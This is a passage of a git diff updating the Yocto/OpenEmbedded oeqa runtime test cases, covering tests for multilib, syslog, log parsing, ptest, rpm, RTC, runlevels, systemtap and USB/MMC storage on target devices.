+ (status, output) = self.target.run(cmd)
+ endtime = time.time()
+ with open(os.path.join(self.ltptest_log_dir, "%s" % stress_group), 'w') as f:
+ f.write(output)
+
+ self.extras['ltpstressresult.rawlogs']['log'] = self.extras['ltpstressresult.rawlogs']['log'] + output
+
+ parser = LtpParser()
+ results, sections = parser.parse(os.path.join(self.ltptest_log_dir, "%s" % stress_group))
+
+ runtime = int(endtime-starttime)
+ sections['duration'] = runtime
+ self.sections[stress_group] = sections
+
+ failed_tests = {}
+ for test in results:
+ result = results[test]
+ testname = ("ltpstressresult." + stress_group + "." + test)
+ self.extras[testname] = {'status': result}
+ if result == 'FAILED':
+ failed_tests[stress_group] = test
+
+ if failed_tests:
+ self.failmsg = self.failmsg + "Failed ptests:\n%s" % pprint.pformat(failed_tests)
+
+ # LTP stress runtime tests
+ #
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(["ltp"])
+ def test_ltp_stress(self):
+ self.tc.target.run("sed -i -r 's/^fork12.*//' /opt/ltp/runtest/crashme")
+ self.runltp('crashme')
diff --git a/meta/lib/oeqa/runtime/cases/multilib.py b/meta/lib/oeqa/runtime/cases/multilib.py
index 62e662b01c..0d1b9ae2c9 100644
--- a/meta/lib/oeqa/runtime/cases/multilib.py
+++ b/meta/lib/oeqa/runtime/cases/multilib.py
@@ -7,6 +7,8 @@ from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotInDataVar
from oeqa.runtime.decorator.package import OEHasPackage
+import subprocess
+
class MultilibTest(OERuntimeTestCase):
def archtest(self, binary, arch):
@@ -14,8 +16,10 @@ class MultilibTest(OERuntimeTestCase):
Check that ``binary`` has the ELF class ``arch`` (e.g. ELF32/ELF64).
"""
- status, output = self.target.run('readelf -h %s' % binary)
- self.assertEqual(status, 0, 'Failed to readelf %s' % binary)
+ dest = "{}/test_binary".format(self.td.get('T', ''))
+ self.target.copyFrom(binary, dest)
+ output = subprocess.check_output("readelf -h {}".format(dest), shell=True).decode()
+ os.remove(dest)
l = [l.split()[1] for l in output.split('\n') if "Class:" in l]
if l:
@@ -29,7 +33,6 @@ class MultilibTest(OERuntimeTestCase):
@skipIfNotInDataVar('MULTILIBS', 'multilib:lib32',
"This isn't a multilib:lib32 image")
@OETestDepends(['ssh.SSHTest.test_ssh'])
- @OEHasPackage(['binutils'])
@OEHasPackage(['lib32-libc6'])
def test_check_multilib_libc(self):
"""
@@ -39,6 +42,6 @@ class MultilibTest(OERuntimeTestCase):
self.archtest("/lib64/libc.so.6", "ELF64")
@OETestDepends(['multilib.MultilibTest.test_check_multilib_libc'])
- @OEHasPackage(['lib32-connman', '!connman'])
+ @OEHasPackage(['lib32-connman'])
def test_file_connman(self):
self.archtest("/usr/sbin/connmand", "ELF32")
diff --git a/meta/lib/oeqa/runtime/cases/oe_syslog.py b/meta/lib/oeqa/runtime/cases/oe_syslog.py
index f3c2bedbaf..150b70d9f0 100644
--- a/meta/lib/oeqa/runtime/cases/oe_syslog.py
+++ b/meta/lib/oeqa/runtime/cases/oe_syslog.py
@@ -121,11 +121,16 @@ class SyslogTestConfig(OERuntimeTestCase):
self.test_syslog_restart()
- cmd = 'logger foobar && grep foobar /var/log/test'
- status,output = self.target.run(cmd)
- msg = 'Test log string not found. Output: %s ' % output
+ cmd = 'logger foobar'
+ status, output = self.target.run(cmd)
+ msg = 'Logger command failed, %s. Output: %s ' % (status, output)
self.assertEqual(status, 0, msg=msg)
+ cmd = 'cat /var/log/test'
+ status, output = self.target.run(cmd)
+ if "foobar" not in output or status:
+ self.fail("'foobar' not found in logfile, status %s, contents %s" % (status, output))
+
cmd = "sed -i 's#LOGFILE=/var/log/test##' /etc/syslog-startup.conf"
self.target.run(cmd)
self.test_syslog_restart()
diff --git a/meta/lib/oeqa/runtime/cases/opkg.py b/meta/lib/oeqa/runtime/cases/opkg.py
index 750706161b..9cfee1cd88 100644
--- a/meta/lib/oeqa/runtime/cases/opkg.py
+++ b/meta/lib/oeqa/runtime/cases/opkg.py
@@ -25,7 +25,9 @@ class OpkgRepoTest(OpkgTest):
if cls.tc.td["MULTILIB_VARIANTS"]:
allarchfeed = cls.tc.td["TUNE_PKGARCH"]
service_repo = os.path.join(cls.tc.td['DEPLOY_DIR_IPK'], allarchfeed)
- cls.repo_server = HTTPService(service_repo, cls.tc.target.server_ip, logger=cls.tc.logger)
+ cls.repo_server = HTTPService(service_repo,
+ '0.0.0.0', port=cls.tc.target.server_port,
+ logger=cls.tc.logger)
cls.repo_server.start()
@classmethod
diff --git a/meta/lib/oeqa/runtime/cases/pam.py b/meta/lib/oeqa/runtime/cases/pam.py
index 271a1943e3..a482ded945 100644
--- a/meta/lib/oeqa/runtime/cases/pam.py
+++ b/meta/lib/oeqa/runtime/cases/pam.py
@@ -8,11 +8,14 @@
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
+from oeqa.runtime.decorator.package import OEHasPackage
class PamBasicTest(OERuntimeTestCase):
@skipIfNotFeature('pam', 'Test requires pam to be in DISTRO_FEATURES')
@OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['shadow'])
+ @OEHasPackage(['shadow-base'])
def test_pam(self):
status, output = self.target.run('login --help')
msg = ('login command does not work as expected. '
diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py b/meta/lib/oeqa/runtime/cases/parselogs.py
index 15343d7abb..1f9365f3a8 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -32,7 +32,7 @@ common_errors = [
"Failed to load module \"fbdev\"",
"Failed to load module fbdev",
"Failed to load module glx",
- "[drm] Cannot find any crtc or sizes - going 1024x768",
+ "[drm] Cannot find any crtc or sizes",
"_OSC failed (AE_NOT_FOUND); disabling ASPM",
"Open ACPI failed (/var/run/acpid.socket) (No such file or directory)",
"NX (Execute Disable) protection cannot be enabled: non-PAE kernel!",
@@ -55,11 +55,18 @@ common_errors = [
"Failed to read /var/lib/nfs/statd/state: Success",
"error retry time-out =",
"logind: cannot setup systemd-logind helper (-61), using legacy fallback",
- "Error changing net interface name 'eth0' to "
+ "Failed to rename network interface",
+ "Failed to process device, ignoring: Device or resource busy",
+ "Cannot find a map file",
+ "[rdrand]: Initialization Failed",
+ "[rndr ]: Initialization Failed",
+ "[pulseaudio] authkey.c: Failed to open cookie file",
+ "[pulseaudio] authkey.c: Failed to load authentication key",
+ "was skipped because of a failed condition check",
+ "was skipped because all trigger condition checks failed",
]
video_related = [
- "uvesafb",
]
x86_common = [
@@ -81,12 +88,12 @@ qemux86_common = [
"fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge.",
"can't claim BAR ",
'amd_nb: Cannot enumerate AMD northbridges',
- 'uvesafb: 5000 ms task timeout, infinitely waiting',
'tsc: HPET/PMTIMER calibration failed',
"modeset(0): Failed to initialize the DRI2 extension",
- "uvesafb: cannot reserve video memory at",
- "uvesafb: probe of uvesafb.0 failed with error",
"glamor initialization failed",
+ "blk_update_request: I/O error, dev fd0, sector 0 op 0x0:(READ)",
+ "floppy: error",
+ 'failed to IDENTIFY (I/O error, err_mask=0x4)',
] + common_errors
ignore_errors = {
@@ -113,7 +120,12 @@ ignore_errors = {
'can\'t handle BAR above 4GB',
'Cannot reserve Legacy IO',
] + common_errors,
- 'qemuarm' : [
+ 'qemuppc64' : [
+ 'vio vio: uevent: failed to send synthetic uevent',
+ 'synth uevent: /devices/vio: failed to send uevent',
+ 'PCI 0000:00 Cannot reserve Legacy IO [io 0x10000-0x10fff]',
+ ] + common_errors,
+ 'qemuarmv5' : [
'mmci-pl18x: probe of fpga:05 failed with error -22',
'mmci-pl18x: probe of fpga:0b failed with error -22',
'Failed to load module "glx"',
@@ -127,12 +139,14 @@ ignore_errors = {
'OF: amba_device_add() failed (-19) for /amba/fpga/sci@a000',
'Failed to initialize \'/amba/timer@101e3000\': -22',
'jitterentropy: Initialization failed with host not compliant with requirements: 2',
+ 'clcd-pl11x: probe of 10120000.display failed with error -2',
] + common_errors,
'qemuarm64' : [
'Fatal server error:',
'(EE) Server terminated with error (1). Closing log file.',
'dmi: Firmware registration failed.',
'irq: type mismatch, failed to map hwirq-27 for /intc',
+ 'logind: failed to get session seat',
] + common_errors,
'intel-core2-32' : [
'ACPI: No _BQC method, cannot determine initial brightness',
@@ -184,11 +198,6 @@ ignore_errors = {
'Failed to make EGL context current',
'glamor initialization failed',
] + common_errors,
- 'mpc8315e-rdb' : [
- 'of_irq_parse_pci: failed with',
- 'Fatal server error:',
- 'Server terminated with error',
- ] + common_errors,
}
log_locations = ["/var/log/","/var/log/dmesg", "/tmp/dmesg_output.log"]
@@ -296,7 +305,7 @@ class ParseLogsTest(OERuntimeTestCase):
grepcmd = 'grep '
grepcmd += '-Ei "'
for error in errors:
- grepcmd += '\<' + error + '\>' + '|'
+ grepcmd += r'\<' + error + r'\>' + '|'
grepcmd = grepcmd[:-1]
grepcmd += '" ' + str(log) + " | grep -Eiv \'"
@@ -307,13 +316,13 @@ class ParseLogsTest(OERuntimeTestCase):
errorlist = ignore_errors['default']
for ignore_error in errorlist:
- ignore_error = ignore_error.replace('(', '\(')
- ignore_error = ignore_error.replace(')', '\)')
+ ignore_error = ignore_error.replace('(', r'\(')
+ ignore_error = ignore_error.replace(')', r'\)')
ignore_error = ignore_error.replace("'", '.')
- ignore_error = ignore_error.replace('?', '\?')
- ignore_error = ignore_error.replace('[', '\[')
- ignore_error = ignore_error.replace(']', '\]')
- ignore_error = ignore_error.replace('*', '\*')
+ ignore_error = ignore_error.replace('?', r'\?')
+ ignore_error = ignore_error.replace('[', r'\[')
+ ignore_error = ignore_error.replace(']', r'\]')
+ ignore_error = ignore_error.replace('*', r'\*')
ignore_error = ignore_error.replace('0-9', '[0-9]')
grepcmd += ignore_error + '|'
grepcmd = grepcmd[:-1]
diff --git a/meta/lib/oeqa/runtime/cases/ping.py b/meta/lib/oeqa/runtime/cases/ping.py
index f6603f75ec..498f80d0a5 100644
--- a/meta/lib/oeqa/runtime/cases/ping.py
+++ b/meta/lib/oeqa/runtime/cases/ping.py
@@ -6,6 +6,7 @@ from subprocess import Popen, PIPE
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.exception import OEQATimeoutError
class PingTest(OERuntimeTestCase):
@@ -13,14 +14,17 @@ class PingTest(OERuntimeTestCase):
def test_ping(self):
output = ''
count = 0
- while count < 5:
- cmd = 'ping -c 1 %s' % self.target.ip
- proc = Popen(cmd, shell=True, stdout=PIPE)
- output += proc.communicate()[0].decode('utf-8')
- if proc.poll() == 0:
- count += 1
- else:
- count = 0
+ try:
+ while count < 5:
+ cmd = 'ping -c 1 %s' % self.target.ip
+ proc = Popen(cmd, shell=True, stdout=PIPE)
+ output += proc.communicate()[0].decode('utf-8')
+ if proc.poll() == 0:
+ count += 1
+ else:
+ count = 0
+ except OEQATimeoutError:
+ self.fail("Ping timeout error for address %s, count %s, output: %s" % (self.target.ip, count, output))
msg = ('Expected 5 consecutive, got %d.\n'
'ping output is:\n%s' % (count,output))
self.assertEqual(count, 5, msg = msg)
diff --git a/meta/lib/oeqa/runtime/cases/ptest.py b/meta/lib/oeqa/runtime/cases/ptest.py
index d8d1e1b344..00742da2b5 100644
--- a/meta/lib/oeqa/runtime/cases/ptest.py
+++ b/meta/lib/oeqa/runtime/cases/ptest.py
@@ -2,6 +2,7 @@
# SPDX-License-Identifier: MIT
#
+import os
import unittest
import pprint
import datetime
@@ -18,7 +19,20 @@ class PtestRunnerTest(OERuntimeTestCase):
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(['ptest-runner'])
@unittest.expectedFailure
- def test_ptestrunner(self):
+ def test_ptestrunner_expectfail(self):
+ if not self.td.get('PTEST_EXPECT_FAILURE'):
+ self.skipTest('Cannot run ptests with @expectedFailure as ptests are required to pass')
+ self.do_ptestrunner()
+
+ @skipIfNotFeature('ptest', 'Test requires ptest to be in DISTRO_FEATURES')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['ptest-runner'])
+ def test_ptestrunner_expectsuccess(self):
+ if self.td.get('PTEST_EXPECT_FAILURE'):
+ self.skipTest('Cannot run ptests without @expectedFailure as ptests are expected to fail')
+ self.do_ptestrunner()
+
+ def do_ptestrunner(self):
status, output = self.target.run('which ptest-runner', 0)
if status != 0:
self.skipTest("No -ptest packages are installed in the image")
@@ -28,6 +42,10 @@ class PtestRunnerTest(OERuntimeTestCase):
# testdata.json is generated.
if not test_log_dir:
test_log_dir = os.path.join(self.td.get('WORKDIR', ''), 'testimage')
+ # Make the test output path absolute, otherwise the output content will be
+ # created relative to current directory
+ if not os.path.isabs(test_log_dir):
+ test_log_dir = os.path.join(self.td.get('TOPDIR', ''), test_log_dir)
# Don't use self.td.get('DATETIME'), it's from testdata.json, not
# up-to-date, and may cause "File exists" when re-reun.
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
@@ -35,7 +53,11 @@ class PtestRunnerTest(OERuntimeTestCase):
ptest_log_dir = '%s.%s' % (ptest_log_dir_link, timestamp)
ptest_runner_log = os.path.join(ptest_log_dir, 'ptest-runner.log')
- status, output = self.target.run('ptest-runner', 0)
+ libdir = self.td.get('libdir', '')
+ ptest_dirs = [ '/usr/lib' ]
+ if not libdir in ptest_dirs:
+ ptest_dirs.append(libdir)
+ status, output = self.target.run('ptest-runner -t 450 -d \"{}\"'.format(' '.join(ptest_dirs)), 0)
os.makedirs(ptest_log_dir)
with open(ptest_runner_log, 'w') as f:
f.write(output)
@@ -67,8 +89,13 @@ class PtestRunnerTest(OERuntimeTestCase):
extras[testname] = {'status': result}
failed_tests = {}
+
+ for section in sections:
+ if 'exitcode' in sections[section].keys():
+ failed_tests[section] = sections[section]["log"]
+
for section in results:
- failed_testcases = [ "_".join(test.translate(trans).split()) for test in results[section] if results[section][test] == 'fail' ]
+ failed_testcases = [ "_".join(test.translate(trans).split()) for test in results[section] if results[section][test] == 'FAILED' ]
if failed_testcases:
failed_tests[section] = failed_testcases
@@ -81,4 +108,5 @@ class PtestRunnerTest(OERuntimeTestCase):
failmsg = failmsg + "Failed ptests:\n%s" % pprint.pformat(failed_tests)
if failmsg:
+ self.logger.warning("There were failing ptests.")
self.fail(failmsg)
diff --git a/meta/lib/oeqa/runtime/cases/rpm.py b/meta/lib/oeqa/runtime/cases/rpm.py
index 8e18b426f8..a4339116bf 100644
--- a/meta/lib/oeqa/runtime/cases/rpm.py
+++ b/meta/lib/oeqa/runtime/cases/rpm.py
@@ -116,12 +116,12 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
"""
- db_files_cmd = 'ls /var/lib/rpm/__db.*'
+ db_files_cmd = 'ls /var/lib/rpm/rpmdb.sqlite*'
check_log_cmd = "grep RPM /var/log/messages | wc -l"
- # Make sure that some database files are under /var/lib/rpm as '__db.xxx'
+ # Make sure that some database files are under /var/lib/rpm as 'rpmdb.sqlite'
status, output = self.target.run(db_files_cmd)
- msg = 'Failed to find database files under /var/lib/rpm/ as __db.xxx'
+ msg = 'Failed to find database files under /var/lib/rpm/ as rpmdb.sqlite'
self.assertEqual(0, status, msg=msg)
self.tc.target.copyTo(self.test_file, self.dst)
@@ -141,13 +141,4 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
self.tc.target.run('rm -f %s' % self.dst)
- # if using systemd this should ensure all entries are flushed to /var
- status, output = self.target.run("journalctl --sync")
- # Get the amount of entries in the log file
- status, output = self.target.run(check_log_cmd)
- msg = 'Failed to get the final size of the log file.'
- self.assertEqual(0, status, msg=msg)
- # Check that there's enough of them
- self.assertGreaterEqual(int(output), 80,
- 'Cound not find sufficient amount of rpm entries in /var/log/messages, found {} entries'.format(output))
diff --git a/meta/lib/oeqa/runtime/cases/rtc.py b/meta/lib/oeqa/runtime/cases/rtc.py
new file mode 100644
index 0000000000..c4e6681324
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rtc.py
@@ -0,0 +1,38 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+import re
+
+class RTCTest(OERuntimeTestCase):
+
+ def setUp(self):
+ if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
+ self.logger.debug('Stopping systemd-timesyncd daemon')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
+
+ def tearDown(self):
+ if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
+ self.logger.debug('Starting systemd-timesyncd daemon')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['coreutils', 'busybox'])
+ def test_rtc(self):
+ (status, output) = self.target.run('hwclock -r')
+ self.assertEqual(status, 0, msg='Failed to get RTC time, output: %s' % output)
+
+ (status, current_datetime) = self.target.run('date +"%m%d%H%M%Y"')
+ self.assertEqual(status, 0, msg='Failed to get system current date & time, output: %s' % current_datetime)
+
+ example_datetime = '062309452008'
+ (status, output) = self.target.run('date %s ; hwclock -w ; hwclock -r' % example_datetime)
+ check_hwclock = re.search('2008-06-23 09:45:..', output)
+ self.assertTrue(check_hwclock, msg='The RTC time was not set correctly, output: %s' % output)
+
+ (status, output) = self.target.run('date %s' % current_datetime)
+ self.assertEqual(status, 0, msg='Failed to reset system date & time, output: %s' % output)
+
+ (status, output) = self.target.run('hwclock -w')
+ self.assertEqual(status, 0, msg='Failed to reset RTC time, output: %s' % output)
+
diff --git a/meta/lib/oeqa/runtime/cases/runlevel.py b/meta/lib/oeqa/runtime/cases/runlevel.py
new file mode 100644
index 0000000000..3a4df8ace1
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/runlevel.py
@@ -0,0 +1,22 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+
+import time
+
+class RunLevel_Test(OERuntimeTestCase):
+
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_runlevel_3(self):
+ (status, output) = self.target.run("init 3 && sleep 5 && runlevel")
+ runlevel= '5 3'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 3, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run("uname -a")
+ self.assertEqual(status, 0, msg='Failed to run uname command, output: %s' % output)
+
+ @OETestDepends(['runlevel.RunLevel_Test.test_runlevel_3'])
+ def test_runlevel_5(self):
+ (status, output) = self.target.run("init 5 && sleep 5 && runlevel")
+ runlevel = '3 5'
+ self.assertEqual(output, runlevel, msg='Failed to set current runlevel to runlevel 5, current runlevel : %s' % output[-1])
+ (status, output) = self.target.run('export DISPLAY=:0 && x11perf -aa10text')
+ self.assertEqual(status, 0, msg='Failed to run 2D graphic test, output: %s' % output)
diff --git a/meta/lib/oeqa/runtime/cases/rust.py b/meta/lib/oeqa/runtime/cases/rust.py
new file mode 100644
index 0000000000..b3d6cf7f37
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rust.py
@@ -0,0 +1,19 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class RustHelloworldTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['rust-hello-world'])
+ def test_rusthelloworld(self):
+ cmd = "rust-hello-world"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello, world!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/skeletoninit.py b/meta/lib/oeqa/runtime/cases/skeletoninit.py
index 4779cd6bb4..a12f1e9aae 100644
--- a/meta/lib/oeqa/runtime/cases/skeletoninit.py
+++ b/meta/lib/oeqa/runtime/cases/skeletoninit.py
@@ -4,7 +4,7 @@
# This test should cover https://bugzilla.yoctoproject.org/tr_show_case.cgi?case_id=284
# testcase. Image under test must have meta-skeleton layer in bblayers and
-# IMAGE_INSTALL_append = " service" in local.conf
+# IMAGE_INSTALL:append = " service" in local.conf
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfDataVar
diff --git a/meta/lib/oeqa/runtime/cases/ssh.py b/meta/lib/oeqa/runtime/cases/ssh.py
index 60a5fbbfbf..e31224b3af 100644
--- a/meta/lib/oeqa/runtime/cases/ssh.py
+++ b/meta/lib/oeqa/runtime/cases/ssh.py
@@ -13,7 +13,7 @@ class SSHTest(OERuntimeTestCase):
def test_ssh(self):
(status, output) = self.target.run('uname -a')
self.assertEqual(status, 0, msg='SSH Test failed: %s' % output)
- (status, output) = self.target.run('cat /etc/masterimage')
- msg = "This isn't the right image - /etc/masterimage " \
+ (status, output) = self.target.run('cat /etc/controllerimage')
+ msg = "This isn't the right image - /etc/controllerimage " \
"shouldn't be here %s" % output
self.assertEqual(status, 1, msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/stap.py b/meta/lib/oeqa/runtime/cases/stap.py
index 5342f6ac34..480eaabf2d 100644
--- a/meta/lib/oeqa/runtime/cases/stap.py
+++ b/meta/lib/oeqa/runtime/cases/stap.py
@@ -5,33 +5,28 @@
import os
from oeqa.runtime.case import OERuntimeTestCase
-from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
from oeqa.runtime.decorator.package import OEHasPackage
class StapTest(OERuntimeTestCase):
-
- @classmethod
- def setUp(cls):
- src = os.path.join(cls.tc.runtime_files_dir, 'hello.stp')
- dst = '/tmp/hello.stp'
- cls.tc.target.copyTo(src, dst)
-
- @classmethod
- def tearDown(cls):
- files = '/tmp/hello.stp'
- cls.tc.target.run('rm %s' % files)
-
- @skipIfNotFeature('tools-profile',
- 'Test requires tools-profile to be in IMAGE_FEATURES')
- @OETestDepends(['kernelmodule.KernelModuleTest.test_kernel_module'])
+ @skipIfNotFeature('tools-profile', 'Test requires tools-profile to be in IMAGE_FEATURES')
@OEHasPackage(['systemtap'])
+ @OEHasPackage(['gcc-symlinks'])
+ @OEHasPackage(['kernel-devsrc'])
def test_stap(self):
- cmds = [
- 'cd /usr/src/kernel && make scripts prepare',
- 'cd /lib/modules/`uname -r` && (if [ ! -e build ]; then ln -s /usr/src/kernel build; fi)',
- 'stap --disable-cache -DSTP_NO_VERREL_CHECK /tmp/hello.stp'
- ]
- for cmd in cmds:
+ try:
+ cmd = 'make -j -C /usr/src/kernel scripts prepare'
+ status, output = self.target.run(cmd, 900)
+ self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+
+ cmd = 'stap -v -p4 -m stap-hello --disable-cache -DSTP_NO_VERREL_CHECK -e \'probe oneshot { print("Hello, "); println("SystemTap!") }\''
status, output = self.target.run(cmd, 900)
self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+
+ cmd = 'staprun -v -R -b1 stap-hello.ko'
+ self.assertEqual(status, 0, msg='\n'.join([cmd, output]))
+ self.assertIn('Hello, SystemTap!', output, msg='\n'.join([cmd, output]))
+ except:
+ status, dmesg = self.target.run('dmesg')
+ if status == 0:
+ print(dmesg)
diff --git a/meta/lib/oeqa/runtime/cases/storage.py b/meta/lib/oeqa/runtime/cases/storage.py
new file mode 100644
index 0000000000..166d26b252
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/storage.py
@@ -0,0 +1,149 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import re
+import time
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+
+class StorageBase(OERuntimeTestCase):
+ def storage_mount(cls, tmo=1):
+
+ (status, output) = cls.target.run('mkdir -p %s' % cls.mount_point)
+ (status, output) = cls.target.run('mount %s %s' % (cls.device, cls.mount_point))
+ msg = ('Mount failed: %s.' % status)
+ cls.assertFalse(output, msg = msg)
+ time.sleep(tmo)
+ (status, output) = cls.target.run('cat /proc/mounts')
+ match = re.search('%s' % cls.device, output)
+ if match:
+ msg = ('Device %s not mounted.' % cls.device)
+ cls.assertTrue(match, msg = msg)
+
+ (status, output) = cls.target.run('mkdir -p %s' % cls.test_dir)
+
+ (status, output) = cls.target.run('rm -f %s/*' % cls.test_dir)
+ msg = ('Failed to cleanup files @ %s/*' % cls.test_dir)
+ cls.assertFalse(output, msg = msg)
+
+
+ def storage_basic(cls):
+ # create file on device
+ (status, output) = cls.target.run('touch %s/%s' % (cls.test_dir, cls.test_file))
+ msg = ('File %s not created on %s' % (cls.test_file, cls.device))
+ cls.assertFalse(status, msg = msg)
+ # move file
+ (status, output) = cls.target.run('mv %s/%s %s/%s1' %
+ (cls.test_dir, cls.test_file, cls.test_dir, cls.test_file))
+ msg = ('File %s not moved to %s' % (cls.test_file, cls.device))
+ cls.assertFalse(status, msg = msg)
+ # remove file
+ (status, output) = cls.target.run('rm %s/%s1' % (cls.test_dir, cls.test_file))
+ msg = ('File %s not removed on %s' % (cls.test_file, cls.device))
+ cls.assertFalse(status, msg = msg)
+
+ def storage_read(cls):
+ # check if message is in file
+ (status, output) = cls.target.run('cat %s/%s' %
+ (cls.test_dir, cls.test_file))
+
+ match = re.search('%s' % cls.test_msg, output)
+ msg = ('Test message %s not in file %s.' % (cls.test_msg, cls.test_file))
+ cls.assertEqual(status, 0, msg = msg)
+
+ def storage_write(cls):
+ # create test message in file on device
+ (status, output) = cls.target.run('echo "%s" > %s/%s' %
+ (cls.test_msg, cls.test_dir, cls.test_file))
+ msg = ('File %s not create test message on %s' % (cls.test_file, cls.device))
+ cls.assertEqual(status, 0, msg = msg)
+
+ def storage_umount(cls, tmo=1):
+ time.sleep(tmo)
+ (status, output) = cls.target.run('umount %s' % cls.mount_point)
+
+ if status == 32:
+ # already unmounted, should it fail?
+ return
+ else:
+ msg = ('Device not unmount %s' % cls.mount_point)
+ cls.assertEqual(status, 0, msg = msg)
+
+ (status, output) = cls.target.run('cat /proc/mounts')
+ match = re.search('%s' % cls.device, output)
+ if match:
+ msg = ('Device %s still mounted.' % cls.device)
+ cls.assertTrue(match, msg = msg)
+
+
+class UsbTest(StorageBase):
+ '''
+ This is to mimic the usb test previously done in manual bsp-hw.json
+ '''
+ @classmethod
+ def setUpClass(self):
+ self.test_msg = "Hello World - USB"
+ self.mount_point = "/media/usb"
+ self.device = "/dev/sda1"
+ self.test_file = "usb.tst"
+ self.test_dir = os.path.join(self.mount_point, "oeqa")
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_usb_mount(self):
+ self.storage_umount(2)
+ self.storage_mount(5)
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.UsbTest.test_usb_mount'])
+ def test_usb_basic_operations(self):
+ self.storage_basic()
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.UsbTest.test_usb_basic_operations'])
+ def test_usb_basic_rw(self):
+ self.storage_write()
+ self.storage_read()
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.UsbTest.test_usb_mount'])
+ def test_usb_umount(self):
+ self.storage_umount(2)
+
+
+class MMCTest(StorageBase):
+ '''
+ This is to mimic the usb test previously done in manual bsp-hw.json
+ '''
+ @classmethod
+ def setUpClass(self):
+ self.test_msg = "Hello World - MMC"
+ self.mount_point = "/media/mmc"
+ self.device = "/dev/mmcblk1p1"
+ self.test_file = "mmc.tst"
+ self.test_dir = os.path.join(self.mount_point, "oeqa")
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_mmc_mount(self):
+ self.storage_umount(2)
+ self.storage_mount()
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.MMCTest.test_mmc_mount'])
+ def test_mmc_basic_operations(self):
+ self.storage_basic()
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.MMCTest.test_mmc_basic_operations'])
+ def test_mmc_basic_rw(self):
+ self.storage_write()
+ self.storage_read()
+
+ @skipIfQemu('qemuall', 'Test only runs on real hardware')
+ @OETestDepends(['storage.MMCTest.test_mmc_mount'])
+ def test_mmc_umount(self):
+ self.storage_umount(2)
diff --git a/meta/lib/oeqa/runtime/cases/suspend.py b/meta/lib/oeqa/runtime/cases/suspend.py
new file mode 100644
index 0000000000..67b6f7e56f
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/suspend.py
@@ -0,0 +1,33 @@
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+import threading
+import time
+
+class Suspend_Test(OERuntimeTestCase):
+
+ def test_date(self):
+ (status, output) = self.target.run('date')
+ self.assertEqual(status, 0, msg = 'Failed to run date command, output : %s' % output)
+
+ def test_ping(self):
+ t_thread = threading.Thread(target=self.target.run, args=("ping 8.8.8.8",))
+ t_thread.start()
+ time.sleep(2)
+
+ status, output = self.target.run('pidof ping')
+ self.target.run('kill -9 %s' % output)
